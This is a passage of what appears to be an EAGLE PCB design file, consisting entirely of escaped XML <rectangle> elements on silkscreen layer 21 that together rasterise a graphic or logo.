layer=\"21\"/>\n<rectangle x1=\"2.2269\" y1=\"-0.5618\" x2=\"2.4578\" y2=\"-0.5573\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.5573\" x2=\"-2.3113\" y2=\"-0.5529\" layer=\"21\"/>\n<rectangle x1=\"2.2269\" y1=\"-0.5573\" x2=\"2.4578\" y2=\"-0.5529\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.5529\" x2=\"-2.3069\" y2=\"-0.5484\" layer=\"21\"/>\n<rectangle x1=\"2.2224\" y1=\"-0.5529\" x2=\"2.4578\" y2=\"-0.5484\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.5484\" x2=\"-2.3069\" y2=\"-0.544\" layer=\"21\"/>\n<rectangle x1=\"2.218\" y1=\"-0.5484\" x2=\"2.4578\" y2=\"-0.544\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.544\" x2=\"-2.3024\" y2=\"-0.5396\" layer=\"21\"/>\n<rectangle x1=\"2.218\" y1=\"-0.544\" x2=\"2.4578\" y2=\"-0.5396\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.5396\" x2=\"-2.298\" y2=\"-0.5351\" layer=\"21\"/>\n<rectangle x1=\"2.2136\" y1=\"-0.5396\" x2=\"2.4578\" y2=\"-0.5351\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.5351\" x2=\"-2.298\" y2=\"-0.5307\" layer=\"21\"/>\n<rectangle x1=\"2.2136\" y1=\"-0.5351\" x2=\"2.4578\" y2=\"-0.5307\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.5307\" x2=\"-2.2935\" y2=\"-0.5262\" layer=\"21\"/>\n<rectangle x1=\"2.2091\" y1=\"-0.5307\" x2=\"2.4578\" y2=\"-0.5262\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.5262\" x2=\"-2.2935\" y2=\"-0.5218\" layer=\"21\"/>\n<rectangle x1=\"2.2091\" y1=\"-0.5262\" x2=\"2.4578\" y2=\"-0.5218\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.5218\" x2=\"-2.2891\" y2=\"-0.5173\" layer=\"21\"/>\n<rectangle x1=\"2.2047\" y1=\"-0.5218\" x2=\"2.4578\" y2=\"-0.5173\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.5173\" x2=\"-2.2847\" y2=\"-0.5129\" layer=\"21\"/>\n<rectangle x1=\"2.2002\" y1=\"-0.5173\" x2=\"2.4578\" y2=\"-0.5129\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.5129\" x2=\"-2.2847\" y2=\"-0.5085\" layer=\"21\"/>\n<rectangle x1=\"-1.9072\" y1=\"-0.5129\" x2=\"-1.9028\" y2=\"-0.5085\" layer=\"21\"/>\n<rectangle x1=\"1.8139\" y1=\"-0.5129\" x2=\"1.8228\" y2=\"-0.5085\" layer=\"21\"/>\n<rectangle x1=\"2.2002\" y1=\"-0.5129\" x2=\"2.4578\" y2=\"-0.5085\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.5085\" x2=\"-2.2802\" y2=\"-0.504\" layer=\"21\"/>\n<rectangle x1=\"-1.9072\" y1=\"-0.5085\" x2=\"-1.8939\" y2=\"-0.504\" layer=\"21\"/>\n<rectangle x1=\"1.8095\" y1=\"-0.5085\" x2=\"1.8228\" y2=\"-0.504\" layer=\"21\"/>\n<rectangle x1=\"2.1958\" y1=\"-0.5085\" x2=\"2.4578\" y2=\"-0.504\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.504\" x2=\"-2.2802\" y2=\"-0.4996\" layer=\"21\"/>\n<rectangle x1=\"-1.9072\" y1=\"-0.504\" x2=\"-1.885\" y2=\"-0.4996\" layer=\"21\"/>\n<rectangle x1=\"1.8006\" y1=\"-0.504\" x2=\"1.8184\" y2=\"-0.4996\" layer=\"21\"/>\n<rectangle x1=\"2.1958\" y1=\"-0.504\" x2=\"2.4578\" y2=\"-0.4996\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.4996\" x2=\"-2.2758\" y2=\"-0.4951\" layer=\"21\"/>\n<rectangle x1=\"-1.9028\" y1=\"-0.4996\" x2=\"-1.8761\" y2=\"-0.4951\" layer=\"21\"/>\n<rectangle x1=\"1.7917\" y1=\"-0.4996\" x2=\"1.8184\" y2=\"-0.4951\" layer=\"21\"/>\n<rectangle x1=\"2.1914\" y1=\"-0.4996\" x2=\"2.4578\" y2=\"-0.4951\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.4951\" x2=\"-2.2758\" y2=\"-0.4907\" layer=\"21\"/>\n<rectangle x1=\"-1.8983\" y1=\"-0.4951\" x2=\"-1.8717\" y2=\"-0.4907\" layer=\"21\"/>\n<rectangle x1=\"1.7828\" y1=\"-0.4951\" x2=\"1.8139\" y2=\"-0.4907\" layer=\"21\"/>\n<rectangle x1=\"2.1914\" y1=\"-0.4951\" x2=\"2.4578\" y2=\"-0.4907\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.4907\" x2=\"-2.2713\" y2=\"-0.4863\" layer=\"21\"/>\n<rectangle x1=\"-1.8983\" y1=\"-0.4907\" x2=\"-1.8628\" y2=\"-0.4863\" layer=\"21\"/>\n<rectangle x1=\"1.7784\" y1=\"-0.4907\" x2=\"1.8139\" y2=\"-0.4863\" layer=\"21\"/>\n<rectangle x1=\"2.1869\" y1=\"-0.4907\" x2=\"2.4578\" y2=\"-0.4863\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.4863\" x2=\"-2.2669\" y2=\"-0.4818\" layer=\"21\"/>\n<rectangle x1=\"-1.8939\" y1=\"-0.4863\" x2=\"-1.8539\" y2=\"-0.4818\" layer=\"21\"/>\n<rectangle x1=\"1.7695\" y1=\"-0.4863\" x2=\"1.8095\" y2=\"-0.4818\" layer=\"21\"/>\n<rectangle x1=\"2.1825\" y1=\"-0.4863\" x2=\"2.4578\" y2=\"-0.4818\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.4818\" x2=\"-2.2669\" y2=\"-0.4774\" layer=\"21\"/>\n<rectangle x1=\"-1.8939\" y1=\"-0.4818\" x2=\"-1.8451\" y2=\"-0.4774\" layer=\"21\"/>\n<rectangle x1=\"1.7606\" y1=\"-0.4818\" x2=\"1.8095\" y2=\"-0.4774\" layer=\"21\"/>\n<rectangle x1=\"2.1825\" y1=\"-0.4818\" x2=\"2.4578\" y2=\"-0.4774\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.4774\" x2=\"-2.2625\" y2=\"-0.4729\" layer=\"21\"/>\n<rectangle x1=\"-1.8895\" y1=\"-0.4774\" x2=\"-1.8406\" y2=\"-0.4729\" layer=\"21\"/>\n<rectangle x1=\"1.7517\" y1=\"-0.4774\" x2=\"1.805\" y2=\"-0.4729\" layer=\"21\"/>\n<rectangle x1=\"2.178\" y1=\"-0.4774\" x2=\"2.4578\" y2=\"-0.4729\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.4729\" x2=\"-2.2625\" y2=\"-0.4685\" layer=\"21\"/>\n<rectangle x1=\"-1.885\" y1=\"-0.4729\" x2=\"-1.8317\" y2=\"-0.4685\" layer=\"21\"/>\n<rectangle x1=\"1.7473\" y1=\"-0.4729\" x2=\"1.8006\" y2=\"-0.4685\" layer=\"21\"/>\n<rectangle x1=\"2.178\" y1=\"-0.4729\" x2=\"2.4578\" y2=\"-0.4685\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.4685\" x2=\"-2.258\" y2=\"-0.4641\" layer=\"21\"/>\n<rectangle x1=\"-1.885\" y1=\"-0.4685\" x2=\"-1.8229\" y2=\"-0.4641\" layer=\"21\"/>\n<rectangle x1=\"1.7384\" y1=\"-0.4685\" x2=\"1.8006\" y2=\"-0.4641\" layer=\"21\"/>\n<rectangle x1=\"2.1736\" y1=\"-0.4685\" x2=\"2.4578\" y2=\"-0.4641\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.4641\" x2=\"-2.258\" y2=\"-0.4596\" layer=\"21\"/>\n<rectangle x1=\"-1.8806\" y1=\"-0.4641\" x2=\"-1.814\" y2=\"-0.4596\" layer=\"21\"/>\n<rectangle x1=\"1.7295\" y1=\"-0.4641\" x2=\"1.7962\" y2=\"-0.4596\" layer=\"21\"/>\n<rectangle x1=\"2.1736\" y1=\"-0.4641\" x2=\"2.4578\" y2=\"-0.4596\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.4596\" x2=\"-2.2536\" y2=\"-0.4552\" layer=\"21\"/>\n<rectangle x1=\"-1.8806\" y1=\"-0.4596\" x2=\"-1.8095\" y2=\"-0.4552\" layer=\"21\"/>\n<rectangle x1=\"1.7207\" y1=\"-0.4596\" x2=\"1.7962\" y2=\"-0.4552\" layer=\"21\"/>\n<rectangle x1=\"2.1692\" y1=\"-0.4596\" x2=\"2.4578\" y2=\"-0.4552\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.4552\" x2=\"-2.2491\" y2=\"-0.4507\" layer=\"21\"/>\n<rectangle x1=\"-1.8761\" y1=\"-0.4552\" x2=\"-1.8007\" y2=\"-0.4507\" layer=\"21\"/>\n<rectangle x1=\"1.7162\" y1=\"-0.4552\" x2=\"1.7917\" y2=\"-0.4507\" layer=\"21\"/>\n<rectangle x1=\"2.1647\" y1=\"-0.4552\" x2=\"2.4578\" y2=\"-0.4507\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.4507\" x2=\"-2.2491\" y2=\"-0.4463\" layer=\"21\"/>\n<rectangle x1=\"-1.8761\" y1=\"-0.4507\" x2=\"-1.7918\" y2=\"-0.4463\" layer=\"21\"/>\n<rectangle x1=\"1.7073\" y1=\"-0.4507\" x2=\"1.7873\" y2=\"-0.4463\" layer=\"21\"/>\n<rectangle x1=\"2.1647\" y1=\"-0.4507\" x2=\"2.4578\" y2=\"-0.4463\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.4463\" x2=\"-2.2447\" y2=\"-0.4419\" layer=\"21\"/>\n<rectangle x1=\"-1.8717\" y1=\"-0.4463\" x2=\"-1.7873\" y2=\"-0.4419\" layer=\"21\"/>\n<rectangle x1=\"1.6985\" y1=\"-0.4463\" x2=\"1.7873\" y2=\"-0.4419\" layer=\"21\"/>\n<rectangle x1=\"2.1603\" y1=\"-0.4463\" x2=\"2.4578\" y2=\"-0.4419\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.4419\" x2=\"-2.2447\" y2=\"-0.4374\" layer=\"21\"/>\n<rectangle x1=\"-1.8673\" y1=\"-0.4419\" x2=\"-1.7785\" y2=\"-0.4374\" layer=\"21\"/>\n<rectangle x1=\"1.694\" y1=\"-0.4419\" x2=\"1.7828\" y2=\"-0.4374\" layer=\"21\"/>\n<rectangle x1=\"2.1603\" y1=\"-0.4419\" x2=\"2.4578\" y2=\"-0.4374\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.4374\" x2=\"-2.2403\" y2=\"-0.433\" layer=\"21\"/>\n<rectangle x1=\"-1.8673\" y1=\"-0.4374\" x2=\"-1.7696\" y2=\"-0.433\" layer=\"21\"/>\n<rectangle x1=\"1.6851\" y1=\"-0.4374\" x2=\"1.7828\" y2=\"-0.433\" layer=\"21\"/>\n<rectangle x1=\"2.1558\" y1=\"-0.4374\" x2=\"2.4578\" y2=\"-0.433\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.433\" x2=\"-2.2403\" y2=\"-0.4285\" layer=\"21\"/>\n<rectangle x1=\"-1.8628\" y1=\"-0.433\" x2=\"-1.7607\" y2=\"-0.4285\" layer=\"21\"/>\n<rectangle x1=\"1.6762\" y1=\"-0.433\" x2=\"1.7784\" y2=\"-0.4285\" layer=\"21\"/>\n<rectangle x1=\"2.1514\" y1=\"-0.433\" x2=\"2.4578\" y2=\"-0.4285\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.4285\" x2=\"-2.2358\" y2=\"-0.4241\" layer=\"21\"/>\n<rectangle x1=\"-1.8628\" y1=\"-0.4285\" x2=\"-1.7563\" y2=\"-0.4241\" layer=\"21\"/>\n<rectangle x1=\"1.6674\" y1=\"-0.4285\" x2=\"1.7784\" y2=\"-0.4241\" layer=\"21\"/>\n<rectangle x1=\"2.1514\" y1=\"-0.4285\" x2=\"2.4578\" y2=\"-0.4241\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.4241\" x2=\"-2.2314\" y2=\"-0.4197\" layer=\"21\"/>\n<rectangle x1=\"-1.8584\" y1=\"-0.4241\" x2=\"-1.7474\" y2=\"-0.4197\" layer=\"21\"/>\n<rectangle x1=\"1.6629\" y1=\"-0.4241\" x2=\"1.7739\" y2=\"-0.4197\" layer=\"21\"/>\n<rectangle x1=\"2.1469\" y1=\"-0.4241\" x2=\"2.4578\" y2=\"-0.4197\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.4197\" x2=\"-2.2314\" y2=\"-0.4152\" layer=\"21\"/>\n<rectangle x1=\"-1.8584\" y1=\"-0.4197\" x2=\"-1.7385\" y2=\"-0.4152\" layer=\"21\"/>\n<rectangle x1=\"1.6541\" y1=\"-0.4197\" x2=\"1.7695\" y2=\"-0.4152\" layer=\"21\"/>\n<rectangle x1=\"2.1469\" y1=\"-0.4197\" x2=\"2.4578\" y2=\"-0.4152\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.4152\" x2=\"-2.2269\" y2=\"-0.4108\" layer=\"21\"/>\n<rectangle x1=\"-1.8539\" y1=\"-0.4152\" x2=\"-1.7296\" y2=\"-0.4108\" layer=\"21\"/>\n<rectangle x1=\"1.6452\" y1=\"-0.4152\" x2=\"1.7695\" y2=\"-0.4108\" layer=\"21\"/>\n<rectangle x1=\"2.1425\" y1=\"-0.4152\" x2=\"2.4578\" y2=\"-0.4108\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.4108\" x2=\"-2.2269\" y2=\"-0.4063\" layer=\"21\"/>\n<rectangle x1=\"-1.8495\" y1=\"-0.4108\" x2=\"-1.7252\" y2=\"-0.4063\" layer=\"21\"/>\n<rectangle x1=\"1.6363\" y1=\"-0.4108\" x2=\"1.7651\" y2=\"-0.4063\" layer=\"21\"/>\n<rectangle x1=\"2.1425\" y1=\"-0.4108\" x2=\"2.4578\" y2=\"-0.4063\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.4063\" x2=\"-2.2225\" y2=\"-0.4019\" layer=\"21\"/>\n<rectangle x1=\"-1.8495\" y1=\"-0.4063\" x2=\"-1.7163\" y2=\"-0.4019\" layer=\"21\"/>\n<rectangle x1=\"1.6319\" y1=\"-0.4063\" x2=\"1.7651\" y2=\"-0.4019\" layer=\"21\"/>\n<rectangle x1=\"2.1381\" y1=\"-0.4063\" x2=\"2.4578\" y2=\"-0.4019\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.4019\" x2=\"-2.2181\" y2=\"-0.3975\" layer=\"21\"/>\n<rectangle x1=\"-1.8451\" y1=\"-0.4019\" x2=\"-1.7074\" y2=\"-0.3975\" layer=\"21\"/>\n<rectangle x1=\"1.623\" y1=\"-0.4019\" x2=\"1.7606\" y2=\"-0.3975\" layer=\"21\"/>\n<rectangle x1=\"2.1336\" y1=\"-0.4019\" x2=\"2.4578\" y2=\"-0.3975\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.3975\" x2=\"-2.2181\" y2=\"-0.393\" layer=\"21\"/>\n<rectangle x1=\"-1.8451\" y1=\"-0.3975\" x2=\"-1.6985\" y2=\"-0.393\" layer=\"21\"/>\n<rectangle x1=\"1.6141\" y1=\"-0.3975\" x2=\"1.7606\" y2=\"-0.393\" layer=\"21\"/>\n<rectangle x1=\"2.1336\" y1=\"-0.3975\" x2=\"2.4578\" y2=\"-0.393\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.393\" x2=\"-2.2136\" y2=\"-0.3886\" layer=\"21\"/>\n<rectangle x1=\"-1.8406\" y1=\"-0.393\" x2=\"-1.6941\" y2=\"-0.3886\" layer=\"21\"/>\n<rectangle x1=\"1.6052\" y1=\"-0.393\" x2=\"1.7562\" y2=\"-0.3886\" layer=\"21\"/>\n<rectangle x1=\"2.1292\" y1=\"-0.393\" x2=\"2.4578\" y2=\"-0.3886\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.3886\" x2=\"-2.2136\" y2=\"-0.3841\" layer=\"21\"/>\n<rectangle x1=\"-1.8362\" y1=\"-0.3886\" x2=\"-1.6852\" y2=\"-0.3841\" layer=\"21\"/>\n<rectangle x1=\"1.6008\" y1=\"-0.3886\" x2=\"1.7517\" y2=\"-0.3841\" layer=\"21\"/>\n<rectangle x1=\"2.1292\" y1=\"-0.3886\" x2=\"2.4578\" y2=\"-0.3841\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.3841\" x2=\"-2.2092\" y2=\"-0.3797\" layer=\"21\"/>\n<rectangle x1=\"-1.8362\" y1=\"-0.3841\" x2=\"-1.6763\" y2=\"-0.3797\" layer=\"21\"/>\n<rectangle x1=\"1.5919\" y1=\"-0.3841\" x2=\"1.7517\" y2=\"-0.3797\" layer=\"21\"/>\n<rectangle x1=\"2.1247\" y1=\"-0.3841\" x2=\"2.4578\" y2=\"-0.3797\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.3797\" x2=\"-2.2092\" y2=\"-0.3753\" layer=\"21\"/>\n<rectangle x1=\"-1.8317\" y1=\"-0.3797\" x2=\"-1.6719\" y2=\"-0.3753\" layer=\"21\"/>\n<rectangle x1=\"1.583\" y1=\"-0.3797\" x2=\"1.7473\" y2=\"-0.3753\" layer=\"21\"/>\n<rectangle x1=\"2.1247\" y1=\"-0.3797\" x2=\"2.4578\" y2=\"-0.3753\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.3753\" x2=\"-2.2047\" y2=\"-0.3708\" layer=\"21\"/>\n<rectangle x1=\"-1.8317\" y1=\"-0.3753\" x2=\"-1.663\" y2=\"-0.3708\" layer=\"21\"/>\n<rectangle x1=\"1.5786\" y1=\"-0.3753\" x2=\"1.7473\" y2=\"-0.3708\" layer=\"21\"/>\n<rectangle x1=\"2.1203\" y1=\"-0.3753\" x2=\"2.4578\" y2=\"-0.3708\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.3708\" x2=\"-2.2003\" y2=\"-0.3664\" layer=\"21\"/>\n<rectangle x1=\"-1.8273\" y1=\"-0.3708\" x2=\"-1.6541\" y2=\"-0.3664\" layer=\"21\"/>\n<rectangle x1=\"1.5697\" y1=\"-0.3708\" x2=\"1.7429\" y2=\"-0.3664\" layer=\"21\"/>\n<rectangle x1=\"2.1159\" y1=\"-0.3708\" x2=\"2.4578\" y2=\"-0.3664\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.3664\" x2=\"-2.2003\" y2=\"-0.3619\" layer=\"21\"/>\n<rectangle x1=\"-1.8273\" y1=\"-0.3664\" x2=\"-1.6452\" y2=\"-0.3619\" layer=\"21\"/>\n<rectangle x1=\"1.5608\" y1=\"-0.3664\" x2=\"1.7429\" y2=\"-0.3619\" layer=\"21\"/>\n<rectangle x1=\"2.1159\" y1=\"-0.3664\" x2=\"2.4578\" y2=\"-0.3619\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.3619\" x2=\"-2.1959\" y2=\"-0.3575\" layer=\"21\"/>\n<rectangle x1=\"-1.8229\" y1=\"-0.3619\" x2=\"-1.6408\" y2=\"-0.3575\" layer=\"21\"/>\n<rectangle x1=\"1.5519\" y1=\"-0.3619\" x2=\"1.7384\" y2=\"-0.3575\" layer=\"21\"/>\n<rectangle x1=\"2.1114\" y1=\"-0.3619\" x2=\"2.4578\" y2=\"-0.3575\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.3575\" x2=\"-2.1959\" y2=\"-0.3531\" layer=\"21\"/>\n<rectangle x1=\"-1.8184\" y1=\"-0.3575\" x2=\"-1.6319\" y2=\"-0.3531\" layer=\"21\"/>\n<rectangle x1=\"1.5475\" y1=\"-0.3575\" x2=\"1.734\" y2=\"-0.3531\" layer=\"21\"/>\n<rectangle x1=\"2.1114\" y1=\"-0.3575\" x2=\"2.4578\" y2=\"-0.3531\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.3531\" x2=\"-2.1914\" y2=\"-0.3486\" layer=\"21\"/>\n<rectangle x1=\"-1.8184\" y1=\"-0.3531\" x2=\"-1.623\" y2=\"-0.3486\" layer=\"21\"/>\n<rectangle x1=\"1.5386\" y1=\"-0.3531\" x2=\"1.734\" y2=\"-0.3486\" layer=\"21\"/>\n<rectangle x1=\"2.107\" y1=\"-0.3531\" x2=\"2.4578\" y2=\"-0.3486\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.3486\" x2=\"-2.1914\" y2=\"-0.3442\" layer=\"21\"/>\n<rectangle x1=\"-1.814\" y1=\"-0.3486\" x2=\"-1.6142\" y2=\"-0.3442\" layer=\"21\"/>\n<rectangle x1=\"1.5297\" y1=\"-0.3486\" x2=\"1.7295\" y2=\"-0.3442\" layer=\"21\"/>\n<rectangle x1=\"2.107\" y1=\"-0.3486\" x2=\"2.4578\" y2=\"-0.3442\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.3442\" x2=\"-2.187\" y2=\"-0.3397\" layer=\"21\"/>\n<rectangle x1=\"-1.814\" y1=\"-0.3442\" x2=\"-1.6097\" y2=\"-0.3397\" layer=\"21\"/>\n<rectangle x1=\"1.5208\" y1=\"-0.3442\" x2=\"1.7295\" y2=\"-0.3397\" layer=\"21\"/>\n<rectangle x1=\"2.1025\" y1=\"-0.3442\" x2=\"2.4578\" y2=\"-0.3397\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.3397\" x2=\"-2.1825\" y2=\"-0.3353\" layer=\"21\"/>\n<rectangle x1=\"-1.8095\" y1=\"-0.3397\" x2=\"-1.6008\" y2=\"-0.3353\" layer=\"21\"/>\n<rectangle x1=\"1.5164\" y1=\"-0.3397\" x2=\"1.7251\" y2=\"-0.3353\" layer=\"21\"/>\n<rectangle x1=\"2.0981\" y1=\"-0.3397\" x2=\"2.4578\" y2=\"-0.3353\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.3353\" x2=\"-2.1825\" y2=\"-0.3308\" layer=\"21\"/>\n<rectangle x1=\"-1.8095\" y1=\"-0.3353\" x2=\"-1.5919\" y2=\"-0.3308\" layer=\"21\"/>\n<rectangle x1=\"1.5075\" y1=\"-0.3353\" x2=\"1.7207\" y2=\"-0.3308\" layer=\"21\"/>\n<rectangle x1=\"2.0981\" y1=\"-0.3353\" x2=\"2.4578\" y2=\"-0.3308\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.3308\" x2=\"-2.1781\" y2=\"-0.3264\" layer=\"21\"/>\n<rectangle x1=\"-1.8051\" y1=\"-0.3308\" x2=\"-1.5831\" y2=\"-0.3264\" layer=\"21\"/>\n<rectangle x1=\"1.4986\" y1=\"-0.3308\" x2=\"1.7207\" y2=\"-0.3264\" layer=\"21\"/>\n<rectangle x1=\"2.0937\" y1=\"-0.3308\" x2=\"2.4578\" y2=\"-0.3264\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.3264\" x2=\"-2.1781\" y2=\"-0.322\" layer=\"21\"/>\n<rectangle x1=\"-1.8007\" y1=\"-0.3264\" x2=\"-1.5786\" y2=\"-0.322\" layer=\"21\"/>\n<rectangle x1=\"1.4942\" y1=\"-0.3264\" x2=\"1.7162\" y2=\"-0.322\" layer=\"21\"/>\n<rectangle x1=\"2.0937\" y1=\"-0.3264\" x2=\"2.4578\" y2=\"-0.322\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.322\" x2=\"-2.1737\" y2=\"-0.3175\" layer=\"21\"/>\n<rectangle x1=\"-1.8007\" y1=\"-0.322\" x2=\"-1.5697\" y2=\"-0.3175\" layer=\"21\"/>\n<rectangle x1=\"1.4853\" y1=\"-0.322\" x2=\"1.7162\" y2=\"-0.3175\" layer=\"21\"/>\n<rectangle x1=\"2.0892\" y1=\"-0.322\" x2=\"2.4578\" y2=\"-0.3175\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.3175\" x2=\"-2.1692\" y2=\"-0.3131\" layer=\"21\"/>\n<rectangle x1=\"-1.7962\" y1=\"-0.3175\" x2=\"-1.5609\" y2=\"-0.3131\" layer=\"21\"/>\n<rectangle x1=\"1.4764\" y1=\"-0.3175\" x2=\"1.7118\" y2=\"-0.3131\" layer=\"21\"/>\n<rectangle x1=\"2.0848\" y1=\"-0.3175\" x2=\"2.4578\" y2=\"-0.3131\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.3131\" x2=\"-2.1692\" y2=\"-0.3086\" layer=\"21\"/>\n<rectangle x1=\"-1.7962\" y1=\"-0.3131\" x2=\"-1.5564\" y2=\"-0.3086\" layer=\"21\"/>\n<rectangle x1=\"1.4676\" y1=\"-0.3131\" x2=\"1.7118\" y2=\"-0.3086\" layer=\"21\"/>\n<rectangle x1=\"2.0848\" y1=\"-0.3131\" x2=\"2.4578\" y2=\"-0.3086\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.3086\" x2=\"-2.1648\" y2=\"-0.3042\" layer=\"21\"/>\n<rectangle x1=\"-1.7918\" y1=\"-0.3086\" x2=\"-1.5475\" y2=\"-0.3042\" layer=\"21\"/>\n<rectangle x1=\"1.4631\" y1=\"-0.3086\" x2=\"1.7073\" y2=\"-0.3042\" layer=\"21\"/>\n<rectangle x1=\"2.0803\" y1=\"-0.3086\" x2=\"2.4578\" y2=\"-0.3042\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.3042\" x2=\"-2.1648\" y2=\"-0.2998\" layer=\"21\"/>\n<rectangle x1=\"-1.7918\" y1=\"-0.3042\" x2=\"-1.5387\" y2=\"-0.2998\" layer=\"21\"/>\n<rectangle x1=\"1.4542\" y1=\"-0.3042\" x2=\"1.7029\" y2=\"-0.2998\" layer=\"21\"/>\n<rectangle x1=\"2.0803\" y1=\"-0.3042\" x2=\"2.4578\" y2=\"-0.2998\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.2998\" x2=\"-2.1603\" y2=\"-0.2953\" layer=\"21\"/>\n<rectangle x1=\"-1.7873\" y1=\"-0.2998\" x2=\"-1.5298\" y2=\"-0.2953\" layer=\"21\"/>\n<rectangle x1=\"1.4454\" y1=\"-0.2998\" x2=\"1.7029\" y2=\"-0.2953\" layer=\"21\"/>\n<rectangle x1=\"2.0759\" y1=\"-0.2998\" x2=\"2.4578\" y2=\"-0.2953\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.2953\" x2=\"-2.1603\" y2=\"-0.2909\" layer=\"21\"/>\n<rectangle x1=\"-1.7829\" y1=\"-0.2953\" x2=\"-1.5253\" y2=\"-0.2909\" layer=\"21\"/>\n<rectangle x1=\"1.4365\" y1=\"-0.2953\" x2=\"1.6985\" y2=\"-0.2909\" layer=\"21\"/>\n<rectangle x1=\"2.0759\" y1=\"-0.2953\" x2=\"2.4578\" y2=\"-0.2909\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.2909\" x2=\"-2.1559\" y2=\"-0.2864\" layer=\"21\"/>\n<rectangle x1=\"-1.7829\" y1=\"-0.2909\" x2=\"-1.5165\" y2=\"-0.2864\" layer=\"21\"/>\n<rectangle x1=\"1.432\" y1=\"-0.2909\" x2=\"1.6985\" y2=\"-0.2864\" layer=\"21\"/>\n<rectangle x1=\"2.0715\" y1=\"-0.2909\" x2=\"2.4578\" y2=\"-0.2864\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.2864\" x2=\"-2.1515\" y2=\"-0.282\" layer=\"21\"/>\n<rectangle x1=\"-1.7785\" y1=\"-0.2864\" x2=\"-1.5076\" y2=\"-0.282\" layer=\"21\"/>\n<rectangle x1=\"1.4231\" y1=\"-0.2864\" x2=\"1.694\" y2=\"-0.282\" layer=\"21\"/>\n<rectangle x1=\"2.067\" y1=\"-0.2864\" x2=\"2.4578\" y2=\"-0.282\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.282\" x2=\"-2.1515\" y2=\"-0.2776\" layer=\"21\"/>\n<rectangle x1=\"-1.7785\" y1=\"-0.282\" x2=\"-1.4987\" y2=\"-0.2776\" layer=\"21\"/>\n<rectangle x1=\"1.4143\" y1=\"-0.282\" x2=\"1.694\" y2=\"-0.2776\" layer=\"21\"/>\n<rectangle x1=\"2.067\" y1=\"-0.282\" x2=\"2.4578\" y2=\"-0.2776\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"-0.2776\" x2=\"-2.147\" y2=\"-0.2731\" layer=\"21\"/>\n<rectangle x1=\"-1.774\" y1=\"-0.2776\" x2=\"-1.4943\" y2=\"-0.2731\" layer=\"21\"/>\n<rectangle x1=\"1.4054\" 